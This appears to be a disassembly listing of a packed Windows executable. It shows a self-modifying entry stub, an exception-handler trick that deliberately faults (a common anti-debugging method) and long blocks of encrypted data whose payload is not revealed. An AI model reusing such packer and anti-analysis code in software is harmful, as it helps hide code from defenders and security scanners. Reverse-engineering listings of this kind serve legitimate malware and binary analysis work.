loc_402839: ; CODE XREF: start-1777Fj
jmp near ptr 8D67139Dh
; ---------------------------------------------------------------------------
loc_40283E: ; CODE XREF: start+7j
mov eax, offset loc_40284D
add byte ptr [eax], 28h
inc eax
add dword ptr [eax], 1234567h
loc_40284D: ; DATA XREF: start:loc_40283Eo
nop
test al, 52h
sbb eax, 0FF6450FFh
xor eax, 0
mov large fs:0, esp
xor eax, eax
mov [eax], ecx
nop
nop
nop
nop
pop esi
push esi
db 2Eh
push 0E7CE3324h
db 67h
jo near ptr 2891h
mov al, ds:1BA31D9Ah
push esi
db 26h
sti
cwde
in eax, 0F9h ; AT 80287 data.
; 286 sends opcodes & operands and receives results.
jz short loc_402839
sbb [edi-69h], ecx
add eax, 0A4A35802h
inc ebx
push 0B6D8243Ch
sbb al, 0B8h
dec ecx
add eax, 10C45DA1h
mov cl, 0CBh
adc al, 0A3h
db 3Eh
and eax, 17D4A9DBh
push eax
xor edx, [ebp+4E28C0C7h]
db 67h
xchg eax, esp
test [ecx], edi
pop ebp
sbb [ebp-2C2B5EE7h], al
sub ch, dl
cmp [ebp-1CD343ADh], cl
inc ecx
and [esi], dh
lodsd
adc ah, al
or [eax+62h], al
loop loc_4028E0
mov dword ptr [edi], 0C167A578h
push esi
add dh, [ebx-77h]
pop ebp
xor [ecx], edx
cmp al, 3
xchg eax, edi
db 26h
adc eax, 7124031Ah
dec ebp
loc_4028E0: ; CODE XREF: start-1773Aj
adc eax, 8BC070CBh
hlt
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
dw 2A89h
dd 3CADC75h, 5C56179Fh, 64945A46h, 0C6534EFh, 0FFFC4D83h
dd 0C2295F72h, 0F356E049h, 551C9D5Fh, 1178526Fh, 19B95014h
dd 5AED7908h, 658D0882h, 0F0B8C4CCh, 4C0D26C7h, 6A0AC60Dh
dd 0E763504h, 0F847128h, 8A4C58B6h, 840AE98Bh, 750D7188h
dd 0C64F0E1Ch, 0C30E243Ch, 73EA4529h, 0A33B2380h, 61E64AA4h
dd 0B6E86D01h, 3C187AEEh, 3B2A31DFh, 0A8620AA4h, 0ED9E971h
dd 966A6E20h, 0C71882BAh, 1B09B456h, 0F138B8D2h, 72CE31B2h
dd 4230E860h, 74284E3Dh, 8063FE99h, 7AA59CE8h, 2440D86Ch
dd 326AE701h, 20BF71C2h, 7D8382E2h, 0B23556C1h, 0F350700Bh
dd 8915AAABh, 69C3241Dh, 4EEF860Fh, 0EE7D2321h, 0BB9D02h
dd 118AEF4Dh, 0CB1D284h, 14C1EEAEh, 0CDC0FF41h, 870FC23Bh
dd 7625935Ah, 5BF7CEC7h, 489C52EEh, 524E28CCh, 474D871h
dd 9E8DAA0Bh, 80899148h, 0CB7B803Bh, 518A2C74h, 6C4D016Bh
dd 3BFAB8B0h, 1477C711h, 8AFCB282h, 2DA43492h, 16469008h
dd 76011340h, 804141F5h, 0D4183039h, 16C5D6FFh, 69D08C3h
dd 0C17204FCh, 5C7E570h, 0E671531Ch, 0D2A35062h, 850BD1FDh
dd 6E3CCDB0h, 7010BFE1h, 59A5A50Fh, 0BBBA35Ah, 4055EBA5h
dd 0E4FF7988h, 37548E8h, 26A142DFh, 333D3313h, 0C677246h
dd 9D2C6F39h, 5A67C854h, 730B3AFAh, 0AB4DB2C2h, 0DEB00C0h
dd 0AC6E1D39h, 0A29BB360h, 4D1B830h, 14A293E1h, 0B6446503h
dd 83155CDAh, 5C21255Ah, 20D9FE55h, 0BCAC4BC4h, 25FF1387h
dd 0FD656A64h, 0EC6814F8h, 4DCE86FCh, 9D19BBB7h, 0A42D8849h
dd 22749271h, 0C6041398h, 0D04715Dh, 4810578Ch, 0EAE30374h
dd 0D20C04B8h, 0B41205E3h, 5A15133h, 57E40411h, 97596CC5h
dd 0AACB6C1Eh, 6517EBB4h, 0DCC5A7A3h, 5F2BC36Fh, 514C31Ch
dd 36A51A95h, 0AD338FFh, 3DEE1679h, 487BE2Dh, 47058488h
dd 0C6825804h, 8AF47202h, 23C6F245h, 18204512h, 530D3792h
dd 85558D57h, 180AB660h, 0C1013BC3h, 0C82B1D77h, 2A6CBC8Dh
dd 20B82E41h, 0D98B2400h, 2C846867h, 848089DEh, 4242AAF3h
dd 0FF42288Ah, 5FD02A60h, 1AE3805Bh, 749CFAECh, 7AF38DE9h
dd 56C46943h, 2376D55Fh, 1DE8FD74h, 971EB556h, 239E3456h
dd 3AF9363Bh, 5D68E3FCh, 0D827DED8h, 828E5C5Eh, 2728D5Ah
dd 0F6118B66h, 164918C2h, 1005FA9Eh, 0A005948Ah, 20908864h
dd 1AA867F5h, 0BD9F0211h, 1C201D1Ah, 168FA3FCh, 81931CA0h
dd 5C3C26h, 49EB27BFh, 0B25D615h, 4197241h, 3AAA5A1Bh
dd 80C8804Bh, 5B8820C1h, 1F2C4988h, 72611618h, 7A0B0413h
dd 534E0E77h, 20E91D81h, 4C6AE0EBh, 59BE4A79h, 0A023264Eh
dd 0CDFD6A12h, 59A20908h, 3C48FC89h, 68DDD32Fh, 0B4240631h
dd 632D2197h, 7456DFC2h, 21B4B40Ah, 508C8E2Dh, 1FA6B35Eh
dd 0CD843DFCh, 321C590Fh, 0C79D0736h, 40A3C32Ch, 77E00482h
dd 86670722h, 5FB0EF2Ch, 56971675h, 13F1E373h, 0DED14839h
dd 0C86CD167h, 16D03DC8h, 70B40B77h, 1AB9302Dh, 20621C10h
dd 83BEB803h, 830F05C6h, 0B856F0E6h, 68EC6073h, 6F794040h
dd 0A3A614DCh, 8E70FC1Ch, 0F402D8A3h, 0F85A25ECh, 0A3447006h
dd 3CDCDBF0h, 62F410E8h, 18D0A1C0h, 802D0C8Dh, 73830A1h
dd 22EBD688h, 2B77E114h, 668C0C50h, 7224005Ch, 15AB0766h
dd 738DEB14h, 462D5EC0h, 920C2913h, 411830FEh, 0F28B0B10h
dd 190C712Bh, 0C208805Ah, 0EEC157FCh, 0CE8B0F00h, 69FC7A8Bh
dd 0F7044EC9h, 0BF604B44h, 5D018C8Dh, 0A8AB9944h, 75828915h
dd 0C130C8Bh, 0F808E006h, 0C12B7F75h, 3F0575F9h, 0B805F49h
dd 76CF3B0Ch, 82129303h, 3B04134Ch, 750803C1h, 1EE9648h
dd 7320F983h, 0B99ABF1Ch, 8DEFD300h, 0F704014Ch, 7C21D700h
dd 9FE44B0h, 752B5C75h, 0EB390221h, 0E0C18324h, 2DDF1EFBh
dd 0B0BC8C21h, 24F3A24Eh, 479A106h, 8B085170h, 8955B17Ch
dd 0F0040A6Ch, 585D0308h, 0B8080DF8h, 1FB8B8Ch, 4F04FFC1h
dd 673FFF83h, 5F1A867Bh, 18CFBF66h, 6CEC2397h, 2B453934h
dd 11E7B52Ch, 558960A1h, 5A1749F8h, 0BA6CA3Bh, 0F3890576h
dd 7141CA96h, 4077FB1Bh, 0FA3B403Eh, 8B2C0276h, 0CE84BFFAh
dd 8B16D2BEh, 512DBE51h, 67BAE7BDh, 21D261EAh, 1176DC54h
dd 0BDD41EFDh, 0F69421E2h, 0A75173BDh, 4916BF52h, 0B4A2FBEh
dd 873041Ch, 0CC91119Ch, 0D5EC4C6Fh, 33390926h, 7544EC66h
dd 8BCE75C9h, 5329F9B2h, 97260BA7h, 0E712F89h, 5417789h
dd 100E3B16h, 0CFC36375h, 0A70B0407h, 0F4D8800h, 0B888C1FEh
dd 8625730Bh, 460F2C3Bh, 403B0E43h, 0D3CF8B80h, 976EB5Ch
dd 0C50D195Ah, 0B181448Dh, 29EB1809h, 1610246Ch, 19E04F8Dh
dd 590B25DFh, 7E2D0F04h, 0D8848D42h, 4E3809B7h, 4501548Bh
dd 891A89F0h, 0AB19135Ch, 0FA3CA356h, 6376DAA1h, 17DF9E48h
dd 0DEC0D8Bh, 883D8B0Dh, 0E1C19AC0h, 5948030Fh, 332B520Ch
dd 92272123h, 0FF515305h, 321FE7D7h, 9E11C6Bh, 0E6D0850h
dd 104039F8h, 88A48316h, 3C57756Ch, 482FFE0Fh, 48190A43h
dd 43792A84h, 608313E0h, 11B6FE04h, 30788324h, 8E536CC9h
dd 0C702C10h, 0C412ED5Ah, 0A87E1009h, 8B8DF44Dh, 4F2B115h
dd 0C5923280h, 28B6C8CBh, 114C3B70h, 8D5104ECh, 68511448h
dd 6B4339E3h, 1685B1D9h, 2FA00DFFh, 0F4F4053Bh, 0FFC535CCh
dd 3A969D14h, 0D10D8908h, 1C0BEB4Ch, 851AA396h, 0AC983589h
dd 14CB6A5Bh, 2F677B66h, 0BA8B368h, 0B62C823Ch, 1748861Bh
dd 74F076C4h, 496AE617h, 0E7D34E0h, 0FF04CE83h, 4D83EED3h
dd 75068E86h, 0EA10EBF4h, 33C8E026h, 0BAE8D3F6h, 5A340C0Eh
dd 744A69A1h, 87FC08Ch, 4C8B1973h, 3B2CE14Bh, 23002B23h
dd 75CF0BFEh, 36C3830Bh, 789A3B14h, 0B8E77218h, 0B797507h
dd 0D83BDA8Bh, 0D9154726h, 0E6EBE205h, 597519C2h, 117324E0h
dd 8407B83h, 781379CFh, 0B4EDEB29h, 16267537h, 2FDD1B0Dh
dd 5F86EE9Eh, 0D8CA3091h, 1CDB5C85h, 0C2146174h, 59733439h
dd 89105BC0h, 43588B01h, 0C7C238A8h, 334033D0h, 0B61D89BDh
dd 8B14E2A5h, 9BFA16C5h, 2D384AC7h, 908C268Bh, 0B809BB6h
dd 50884490h, 12BC8B37h, 55117058h, 8304DDE7h, 84C0FC65h
dd 0D60B4448h, 750B8B58h, 918B1714h, 5C197A3Bh, 3C981CECh
dd 23FE018Bh, 74D70B39h, 0D8884CE9h, 0FF673380h, 58A8915Ch
dd 4C76D84Dh, 75CE57B8h, 17660D5Fh, 64206Ah, 7CC9855Fh
dd 0BE1D105h, 8BF7EB47h, 0F9548B20h, 2B0A0C43h, 70F17FE6h
dd 4FEC17Bh, 0FE834E04h, 0F8707E3Fh, 0D8F73B5Eh, 17B0D9Bh
dd 8E612478h, 2B7D2320h, 54967A11h, 169C3823h, 0EC01F3D3h
dd 44885C23h, 0FE037089h, 0EADD750Fh, 0EC019243h, 31EB0B21h
dd 2B9D171Eh, 0A13695B9h, 192132E1h, 0AC362967h, 662CFD98h
dd 888A4685h, 7AC0E38Bh, 0F88604h, 0AFB89569h, 90CE087Ah
dd 369484E2h, 7CA9E1C7h, 0C4262F1h, 6D22A5CEh, 0C76479C2h
dd 11FE1E06h, 9B297D0Bh, 0B0599C4h, 11DC8800h, 668ADB62h
dd 2D8C6C77h, 6F0A3B09h, 7C09168Fh, 2FEB16AEh, 8D0DF028h
dd 41B68D4Eh, 68047B09h, 0ADB6BCB1h, 0B0BE16F3h, 0CE3709EEh
dd 743AB06Ah, 0A89110Bh, 0FC038B89h, 8279A3B2h, 0D103F075h
dd 0A10122C5h, 38FC3212h, 0B00E8B9Fh, 0B0798D21h, 1B753E0Fh
dd 0F21D3B1Ah, 4B336748h, 0A4B43B91h, 6BFB06CAh, 88911C0h
dd 8D04428Dh, 8702B708h
dd 0C4AAE80Dh, 5D30FF1Dh, 8D4C3075h, 7250474Dh, 1836ED63h
dd 97D45788h, 0C73B5878h, 0AF88744Ch, 6FC02B9Ch, 8FCCF3Dh
dd 7241C468h, 453B08BFh, 348D30E0h, 9CEB8781h, 46890033h
dd 6A2A7410h, 30AB6804h, 0B2D36890h, 5C5FFF4Ch, 0C20C3019h
dd 0D61076AAh, 4BFCDA64h, 337C3625h, 0C538244Eh, 47E0B89h
dd 6E6205FFh, 0DB9A4541h, 5121675Fh, 8B57DFB0h, 41C8D871h
dd 0DB330819h, 8F4FC593h, 0C33643E0h, 0C0691B37h, 635A4681h
dd 826C30FBh, 40EAB045h, 402B108h, 4A27CD26h, 85FB2C1Eh
dd 0DFE7C133h, 0B40C790Ch, 0E4686633h, 76A18B9Fh, 0C0D1ED30h
dd 8D693527h, 70550097h, 77FA5480h, 0B1478D3Ch, 0F2184877h
dd 7E884383h, 8D0BF427h, 8306FC88h, 0F0FC40C7h, 0E7142D7h
dd 88005EFh, 80C70448h, 0A20F73E8h, 56D30514h, 18F02C62h
dd 0C7487696h, 0C4F54E2h, 0FC71BEC8h, 26725F01h, 8DACC189h
dd 8630C4Ah, 168F9C08h, 42449E64h, 0E39EBC13h, 43468A40h
dd 0BC86C8Ah, 7AC08433h, 434E8880h, 2B090375h, 62660478h
dd 68B2CB8Bh, 6A337EBBh, 0D2ABD896h, 0B03B1534h, 68420470h
dd 30D15464h, 0E0FE0314h, 54358B67h, 58680BB8h, 0FF8A0ED3h
dd 296167D6h, 68507440h, 2D10BC48h, 0A073468h, 6ED0B4A3h
dd 0B84DA3D6h, 510B3ABCh, 0FF166583h, 0B3D34D0h, 0B8A10E74h
dd 5305C210h, 0FD1811D3h, 2803B518h, 78B078C5h, 9D9CC33Ah
dd 0DFD495F8h, 0B8576EB9h, 12567A8Fh, 0C0D98B53h, 0C6F71417h
dd 8D49CD03h, 69921024h, 6F75D2C0h, 92D521EBh, 74531CE9h
dd 68B2541h, 75C31F29h, 0F05AEBh, 0E3835175h, 0BC0D7403h
dd 2F1DF220h, 0C1651C46h, 5F5E5B4Ch, 29B141C3h, 3A691274h
dd 8A7EB0h, 5EBBD490h, 6C2E3AEEh, 0FA2EE218h, 785B2ACAh
dd 89D7D352h, 0DA5BAF63h, 1683063Ah, 0DEF3C683h, 1E3F2CCFh
dd 75160C3Eh, 0EB0439C6h, 0CBE28118h, 9B8CCC2h, 0B000F30Eh
dd 0B6D23304h, 55E9E753h, 16040A16h, 855F0789h, 0B0C5F875h
dd 0A3A98575h, 70CFE126h, 23F91CA8h, 0DC3D082Ah, 57467AD0h
dd 923A5740h, 0A535DE4Dh, 34724717h, 62E4DA98h, 23D01D0Eh
dd 53E322EBh, 579CE64Dh, 22389C7Eh, 524C701h, 398578DCh
dd 7E147D0Dh, 0ADDC3610h, 591D09FDh, 0C4AC3F4Ch, 2E2DC45h
dd 1C16C61Dh, 0FC26619Dh, 0C6C948E7h, 1A8938D4h, 44D32DAFh
dd 0FB6A209Ah, 5B73202Ch, 7A4C2EFFh, 0FBB82469h, 878BF820h
dd 0B9E4326Eh, 68E89C5Fh, 1B690414h, 0B1C4FFECh, 0E7A7DC41h
dd 7D13EB1Ah, 179D45F8h, 388B9611h, 74DC6770h, 5A8B6645h
dd 21CE61DCh, 0F4BC5775h, 0E778B34Dh, 0ACBA51Ah, 18F08B43h
dd 0F5ACD84Ah, 0F6327400h, 74040D45h, 1C3EB140h, 0CBB27863h
dd 7F0BD53Bh, 32CEDA1Eh, 852170A9h, 9CE6008Fh, 23FFC83Ah
dd 0EE207EC7h, 363FB320h, 16D3DC8Bh, 12CEB3E0h, 0B256CEB6h
dd 0DF0B7DDEh, 6456B474h, 0AC67E496h, 8F9C5D74h, 475B3C2h
dd 6EB03C2h, 28858CF3h, 411D2068h, 6DC8D5D1h, 28B25ABFh
dd 0CB68C871h, 5D6971A7h, 89B4785h, 0C656D285h, 314CFFF7h
dd 0B27B386Ch, 49E8B15Eh, 0F32E2E86h, 755E0B0Ch, 0B81E2B05h
dd 85ACC283h, 8C79E447h, 65723B0Fh, 5AE30E7Ch, 0D8729E04h
dd 2352A283h, 0B88EDFDFh, 76D0F84Ah, 4AC83E49h, 384A4C1Eh
dd 700C49E0h, 0EB4A304Ah, 35225CF7h, 25917BDFh, 3FF7DF1Bh
dd 6CBAFE5h, 949E039Ch, 0E7848C79h, 7A749E7Ch, 57DF236Ch
dd 0FF65096Bh, 0E7D0F0A2h, 0F09EDC03h, 58DFF588h, 1FEB4C50h
dd 58584C00h, 2CD0ED4Bh, 0BB96890h, 0B0037388h, 0A7DF1ED1h
dd 0DF352229h, 1B2991FBh, 5BF9FDDFh, 0C067204h, 9E1403E7h
dd 2C24791Ch, 479E34E7h, 0DADFD588h, 72601FF1h, 3E76805h
dd 888C9E78h, 0FFD8DFD5h, 9A804725h, 0E7D70075h, 291589FFh
dd 3292E8Bh, 6E757280h, 16D6974h, 72652065h, 2C726F72h
dd 600D65B7h, 4F4C54EEh, 1153532Fh, 30E3Ah, 474E4953h
dd 440B00BCh, 12414D4Fh, 5280113Bh, 38323036h, 202D08B0h
dd 62614BB0h, 6F746C70h, 6E69200Bh, 61025669h, 0C07A696Ch
dd 6165680Dh, 0E837BC70h, 6EE83727h, 3D746F2Ch, 677504E1h
dd 16735958h, 23636170h, 0B7B662Eh, 69776F6Ch, 61617938h
dd 6E6E6F06h, 0B0363E37h, 0FB647473h, 708235CEh, 2BC07275h
dd 74726976h, 0CE217559h, 632DA533h, 63200B23h, 286C160Ch
dd 341727DDh, 0B05FAC5Fh, 0B178652Ah, 58672F5Ch, 74DC4E06h
dd 175FEBE2h, 0E0F73931h, 0BB65706Fh, 73318558h, 640FC56Fh
dd 63738B65h, 0F338792Bh, 0E124469Ch, 36646581h, 3A57BD19h
dd 0C2373F23h, 0C26C756Dh, 0C26874ACh, 716461BFh, 6A6B6321h
dd 0B917972Fh, 626434F9h, 2EEE61B7h, 84A27302h, 0E56D7221h
dd 40817000h, 6D617267h, 134A2067h, 2F2F366Dh, 0F53930C2h
dd 7710B94Fh, 6D162A41h, 2E742E07h, 0FA382BE8h, 677261C1h
dd 73286875h, 60965F9Ah, 66592B74h, 6E6EE2C1h, 6F82C567h
dd 3A74058Bh, 2658116Fh, 4C7FBC64h, 60E52D4Dh, 1566398Bh
dd 73695604h, 2B43AAD0h, 52202B1Bh, 694CE1A0h, 72B46162h
dd 0A276879h, 167E73DAh, 160E454Dh, 502F1121h, 0B93A12D4h
dd 612EABh, 0E56A3C00h, 25DCE073h, 6C6B582Ch, 3E6E3377h
dd 0FFB3C91Eh, 38198738h, 74654701h, 42B1614Ch, 7612B841h
dd 0BE504C65h, 707516h, 160F9F13h, 642CA557h, 6597E036h
dd 61017373h, 6F426567h, 0F8584178h, 33359873h, 642E321Bh
dd 4700163Ah, 0E480EC7h, 0B744812h, 0E3C6C279h, 863755CCh
dd 1E561C0Eh, 557750E0h, 1C57140Eh, 0D43B5014h, 57228755h
dd 1D50E80Eh, 74C354ECh, 0F850CE57h, 6657702Eh, 5754E157h
dd 0E15746C3h, 4AC3563Ah, 56568756h, 1C56600Eh, 7438566Ah
dd 56707C56h, 90E15686h, 56A6C356h, 0E56B687h, 0D02D56C0h
dd 0F0033C9Bh, 28CFFCF3h, 79598C1Ch, 64E7707Ch, 4E795A9Eh
dd 9E2AE73Ch, 0FC087814h, 0CFF0E358h, 0C6D43CE2h, 0AAC7B8F3h
dd 389A1E59h, 0F3965782h, 3CBACFA8h, 0EAF3D6C8h, 1A1CFECFh
dd 4E347958h, 7C9E64E7h, 0EEA89679h, 56108501h, 0F13007E6h
dd 3B91080h, 9E09E713h, 0D047917h, 0C9E39E7h, 0E7340B79h
dd 7B029E73h, 773DE303h, 72729263h, 0B7606669h, 75455355h
dd 0A7E12D52h, 41630230h, 77726464h, 4C4611DBh, 62F287E9h
dd 6C0FD141h, 637213B0h, 0D0B705Eh, 96636C5Fh, 0A7BF7A6h
dd 4F77098Bh, 88097417h, 745EE563h, 0E9B01D69h, 11B67065h
dd 2F7C6FDAh, 673F068Dh, 646F4D05h, 46218575h, 4E038D69h
dd 964F89DDh, 65823943h, 2FD46854h, 4645669Ch, 2F7CEE78h
dd 0D44D8D9Ah, 54233FBFh, 436B0614h, 39EDEE6Fh, 9D754DE1h
dd 8B49F38Ah, 455A7968h, 0F02BE441h, 8C4473AFh, 5B3C8EA7h
dd 4B2CC96Fh, 454E16F6h, 57A0F94Ch, 5F4D3253h, 6241C205h
dd 537423C1h, 656F6079h, 6859536Dh, 6E3AE553h, 655255B0h
dd 0F0435A67h, 79654B0Bh, 8853C50Dh, 8EC1565Ah, 79456575h
dd 4F11E575h, 0E01EE0DEh, 5644410Eh, 49504113h, 0F1E1DB59h
dd 8B676148h, 8C13CE98h, 0E184CC53h, 6E49707Dh, 0ABFB1D99h
dd 6D6DBA85h, 2D7322D6h, 5644BD6Eh, 32735963h, 8937DB8Bh
dd 0A0B56968h, 3E549CE3h, 12655BA8h, 7593419Dh, 0DE853926h
dd 6E551627h, 64CB7468h, 7011383Eh, 1B2ED7CDh, 49B235E5h
dd 0BE2ACE46h, 8FE7C146h
dd 670B1727h, 0D6194173h, 4EC8577Ah, 81439AC5h, 6F547252h
dd 13855A4Dh, 6FF97942h, 0CF2E7579h, 99B6A917h, 0DF23EBAh
dd 11B6C7D6h, 7E14645Eh, 16C6B40Fh, 0E707954h, 17714888h
dd 80B86544h, 0DBE796Fh, 29E8F7BCh, 9DC58756h, 7E1B3FB4h
dd 7495B00Ah, 7700986Ch, 0B9D201DDh, 51D3A569h, 6EBB0BDDh
dd 3ED075C6h, 0E9A27C71h, 75A56E73h, 89571F11h, 0B2A75043h
dd 9F41C50Bh, 4F85150Ch, 0BE74D45h, 0CB41447Fh, 993B80F8h
dd 1B4E0E9Dh, 0E3A29D3h, 4D434C83h, 6D395F9Fh, 57670FFCh
dd 3C6BA1DFh, 3456C62Dh, 46C06934h, 334A5A10h, 0B966C904h
dd 0FA60017Dh, 5E2990Ah, 0E805EBFAh, 708270EBh, 99029895h
dd 38FDC399h, 9905C0A9h, 0B95D912h, 3485E912h, 12910006h
dd 0A5EA1241h, 87ED1200h, 126A9AE1h, 9AB900E7h, 8DD71262h
dd 0CF0574AAh, 0A612C8CEh, 0F36B0BC0h, 6AC097h, 0C091ED3Fh
dd 9D5E1AC6h, 707BDC16h, 12C70007h, 0BDDF1254h, 485A009Ah
dd 0AA589A78h, 1258FF50h, 8558DF3Fh, 782C580Dh, 122C0E9Bh
dd 12000899h, 1A6E1263h, 212975Fh, 0C09AF349h, 68EE1E71h
dd 0CB94000Ch, 65CE66CFh, 0F367B0C3h, 0ED12B19Ch, 0C1C9E5h
dd 9BF398F3h, 0C0751562h, 9B9E5E14h, 4B9D2B99h, 0DE100019h
dd 0CE89F39Dh, 6913CA58h, 5CB1AB3h, 53C226Dh, 1A47B061h
dd 12DD1675h, 1B701E6Dh, 9D0110C0h, 10627B17h, 263A1CFh
dd 0FFD980A5h, 1B5DF5Eh, 0DE149898h, 62CFC989h, 0CEC886h
dd 5E037035h, 0FAA505DEh, 8299FDF4h, 0C8C9A514h, 0CB793CC2h
dd 164476EFh, 2C03C965h, 3502417Dh, 60EC591Ch, 118BCEC8h
dd 0C0C34B01h, 0C0777B32h, 6776715Ah, 0DE666600h, 0EBC9EDFCh
dd 0D8FA00F6h, 0FCEBFDFDh, 992CEAEAh, 0F81605DAh, 9E11FCEDh
dd 99D8000Dh, 0EDF0E1DCh, 13BBF1CDh, 0F6D55685h, 0F0D50480h
dd 2CF8EBFBh, 117E0EBh, 0C6ABEAEEh, 6199ABAAh, 62CAD8B0h
dd 42CEF229h, 0F0FB0B11h, 0F50523F7h, 3C81EAF0h, 0FAF899F7h
dd 0C0E93D62h, 0F6F5FAEAh, 0B245B3EAh, 0B77C991Fh, 53FF0785h
dd 4172424Dh, 3FC85318h, 879D34CBh, 6202C0h, 43335002h
dd 0BC2B9720h, 4B524F00h, 525020h, 4152474Fh, 2E31204Dh
dd 4C173058h, 4D4E4116h, 8F0A7602h, 50A2B1CDh, 6B03C257h
dd 330F3267h, 330E8141h, 7261312Eh, 23C24D27h, 57995832h
dd 325932D4h, 4E0AC116h, 18612054h, 0A623020h, 0A475F932h
dd 0EC738B68h, 85D5EB07h, 81FF0C59h, 11040023h, 201B7C0Ah
dd 4087D4ECh, 4C006916h, 0CF234B73h, 977F6821h, 0E008821Bh
dd 0B8995696h, 0AECD24C8h, 51F6F9Bh, 0DC730077h, 305B743Ah
dd 0E5097401h, 879D668Ch, 0CE237D27h, 72E2C1Dh, 0DA2F51FAh
dd 2008D8ABh, 3AEFDAE8h, 0B39FCE57h, 101CB03h, 0CB234697h
dd 40E70747h, 1670679h, 0DD106507h, 15001F01h, 48E0888Ah
dd 4F1C00h, 19810044h, 0E4F27A6Ah, 28021C49h, 742530AFh
dd 0AFF7B310h, 0D15CB2E1h, 0B8F575DFh, 0DFB10429h, 0BD07675Ch
dd 5C5D319Ch, 3261D101h, 7074377h, 65380036h, 3077B22Eh
dd 0B0491BE4h, 79004318h, 683F24h, 0B464FC00h, 41A27763h
dd 0CE04DC08h, 63182CF6h, 0DEDE02h, 0F816000Eh, 5E019F1Ch
dd 40D72602h, 20B70089h, 11034219h, 746C8BD1h, 7274C4D9h
dd 635B2E8Ch, 6B9C8B2Bh, 4ED62547h, 4CC5E50h, 0BD0417E8h
dd 1354171Ch, 5C5A542Eh, 0B1596326h, 0C7775C22h, 9D4545CBh
dd 5822365h, 0CF030B00h, 879D3837h, 110B80Bh, 507E729h
dd 19286A60h, 0B10C0039h, 0A89B11D0h, 4F0BC000h, 5FF52ED9h
dd 8A885D60h, 0C91C04EBh, 0C0E89F11h, 48102B3Ch, 0BD1B760h
dd 0FCA3F40Ch, 0A03A6074h, 3A13E70Ch, 0CB187A3h, 0E900765Eh
dd 8897D138h, 0F004068h, 3EC0009h, 9541079Dh, 4F364014h
dd 0C1797C60h, 7FAC7DCh, 0EE7443E7h, 8578A013h, 0AB000513h
dd 0E1E9A65Bh, 34F8100Eh, 692F7713h, 138D87A5h, 4023B30Eh
dd 8932A0Fh, 3788AD84h, 10B98143h, 1C505EEh, 4E16FFA7h
dd 200C8563h, 0DADFFE1h, 0C207A9F3h, 7BD80F05h, 118877Fh
dd 840E701Dh, 13CBB90Fh, 6595517Fh, 3A7FAF1Dh, 0E8387402h
dd 0F7C6C7Fh, 9A1300EAh, 0CE556FA8h, 13DDE943h, 20A3064Fh
dd 8C5E912Fh, 4B015ABDh, 3CD03B7Dh, 75151F12h, 1C2AD602h
dd 0E540FD75h, 18973124h, 0CF100373h, 0F8003C08h, 0E7F06871h
dd 353180E8h, 4B4F2030h, 322FBEACh, 328F0730h, 30338736h
dd 31333361h, 30178EDBh, 987661C4h, 6543766Ch, 0A00B6ECBh
dd 9678652Eh, 636582EDh, 176D2C68h, 8266666h, 2576739Ah
dd 0B0351B18h, 3E3400h, 646D633Eh, 7074662Eh, 61031ABCh
dd 796E6F6Eh, 7339186Dh, 0EFA817BFh, 628C09C8h, 0F81B6767h
dd 74586567h, 5F63694Dh, 7F6D3A6Dh, 79628B1Bh, 5FE25411h
dd 200BE026h, 0B53A732Dh, 0DF3B3A16h, 64A6BC20h, 206C6517h
dd 0C76CF535h, 37320B31h, 9701302Eh, 630D0B31h, 0BF675C3Ah
dd 6F6C02E2h, 42CE0067h, 25D0710Fh, 5C166E5Bh, 5C05095Ch
dd 68637069h, 659EBEDh, 6613D001h, 1CEC0481h, 33E4FF07h
dd 35291863h, 55513DB8h, 39A04969h, 5A544552h, 3F710752h
dd 1A026A2Eh, 46702C00h, 0E854524Fh, 26416350h, 0CD51073Ah
dd 27F0000Fh, 556D754Ah, 730B8570h, 5402854Eh, 0D0079A69h
dd 6F4AA1h, 616B6162h, 4F530033h, 5754460Bh, 5C115541h
dd 5C299C6Ah, 0F5C97E3h, 0B6F0207Fh, 7561525Ch, 42A1BADBh
dd 0EB652AFFh, 7754557Ah, 6D4E03B0h, 2851019Dh, 7A2075D6h
dd 7E1015B1h, 0BC84CE01h, 813BFB10h, 3BBF01CEh, 0F382CE10h
dd 10CFAF02h, 9D1A20CAh, 0D768E4AAh, 0D907C72Eh, 0BC0C7C4h
dd 0C31D11F9h, 96F204C0h, 8D790BDEh, 0DE8EF908h, 909D8F77h
dd 927991E7h, 0A19377DEh, 30793CBh, 8C7A0A9Eh, 0CE9E4B4h
dd 2004535Ah, 0D5199305h, 33021EA4h, 0BCD35398h, 68F56C07h
dd 7B34069h, 531C3FB1h, 0F0C0B191h, 11076352h, 123CC0CFh
dd 0CF13F39Ch, 38183C70h, 104558F7h, 1C1A07CFh, 1B7951D8h
dd 9E1CE7A0h, 68787978h, 589E79E7h, 0E7487A79h, 79449EFCh
dd 1E134FFh, 0CA6D0402h, 600BC089h, 21827982h, 0A63BAEBEh
dd 0A1000BDFh, 81C007A5h, 0E8FCE09Fh, 807E3B40h, 0D2FA82Eh
dd 0A3DAA3C1h, 811F87EAh, 0FE400FFEh, 5F2FB58Bh, 0B69E419Fh
dd 0E4A2CF0Bh, 0E501DFA2h, 5BA2E8A2h, 5FDD356Ah, 0FEA17E61h
dd 0E00551D0h, 705EDA51h, 1DDA5FDAh, 7032DA6Ah, 0DE1CD8D3h
dd 312FF9E0h, 0F808397Eh, 7A3EFD03h, 0
dd 1400h dup(?)
_text ends
; Section 3. (virtual address 0001A000)
; Virtual size : 00020000 ( 131072.)
; Section size in file : 00011C00 ( 72704.)
; Offset to raw data for section: 00003E00
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_data segment para public 'CODE' use32
assume cs:_data
;org 41A000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
public start
start proc near
; FUNCTION CHUNK AT 00402839 SIZE 000000AD BYTES
pusha
call sub_43D76D
popa
jmp loc_40283E
start endp
; ---------------------------------------------------------------------------
dd 0C88D1500h, 58585B58h, 58585C58h, 58A7A758h, 5858E058h
dd 58585858h, 58581858h, 8 dup(58585858h), 5858D858h, 802F958h
dd 806AC93Bh, 0A1B1F0AEh, 0D5182AD8h, 0F9B42136h, 0CA6E2A73h
dd 6D2EEE3Fh, 0AB85B272h, 5116695Dh, 6D5397A8h, 0CDE1E891h
dd 5A83CE92h, 4898A44Ah, 0F24DB446h, 964B9B78h, 37DA191Bh
dd 5888D369h, 5E591458h, 26E9C758h, 58585818h, 58585858h
dd 5658B858h, 5A595379h, 5880586Fh, 58645858h, 48DA5858h
